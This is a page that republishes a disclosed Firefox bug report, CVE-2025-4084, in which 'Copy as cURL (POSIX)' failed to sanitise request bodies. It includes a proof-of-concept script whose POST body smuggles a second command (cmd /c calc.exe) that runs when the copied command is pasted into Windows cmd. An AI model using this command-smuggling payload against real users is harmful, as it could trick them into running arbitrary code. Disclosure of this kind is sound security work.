Skip to content
RCE Disclosed report Intermediate CVE-2025-4084

Copy As Curl(posix) Lead to Code Execution in windows

The 'Copy as cURL (POSIX)' feature in Firefox did not properly sanitise request body parameters, allowing an attacker to inject shell commands. When a victim copied a crafted request and pasted it into a Windows command prompt, the injected command executed, launching the calculator.

Ameen Basha M K Follow

Originally disclosed on Mozilla

  • Fixed in 30 days
  • Paid in 38 days
  • Disclosed after 30 days
Text
Hi team, Firefox latest version lead to Code Execution on windows machine using copy as curl(posix) feature
The body parameters was not properly sanitized leads to code execution on windows

Steps to reproduce
1. Send the request with malicious code in he body
2. Now from network tab copy the request as curl
3. paste it in cmd and you can find the calc popup

Malcious request
'''html
<script>
    fetch("https://example.com/postit", {
        credentials: "omit",
        headers: {
            "Accept-Language": "en-US",
            "Content-Type": "text/plain",
        },
        body: "query=evil\n\n & cmd /c calc.exe \n\n",
        method: "POST",
    });
</script>
'''
Same issue is already fixed in Chromium
Ref:https://issues.chromium.org/issues/352651673

The original report as published on Mozilla's Bugzilla, by Ameen Basha M K. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could achieve code execution on a Windows machine if a victim copied a crafted request as cURL and pasted it into cmd.

What the attacker needed

Victim uses Firefox on Windows; victim copies request as cURL (POSIX); victim pastes into cmd

How it was found

  1. Send a request with malicious code in the body.
  2. From the network tab, copy the request as cURL.
  3. Paste it into cmd and observe the calculator popup.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you copy a network request as a cURL command, the browser builds a text command that you can paste into a terminal. If the request body contains special characters, they can break out of the intended command and run something else. Here, a malicious request body caused the calculator to open when pasted into Windows cmd.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by Ameen Basha M K

View all

23 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.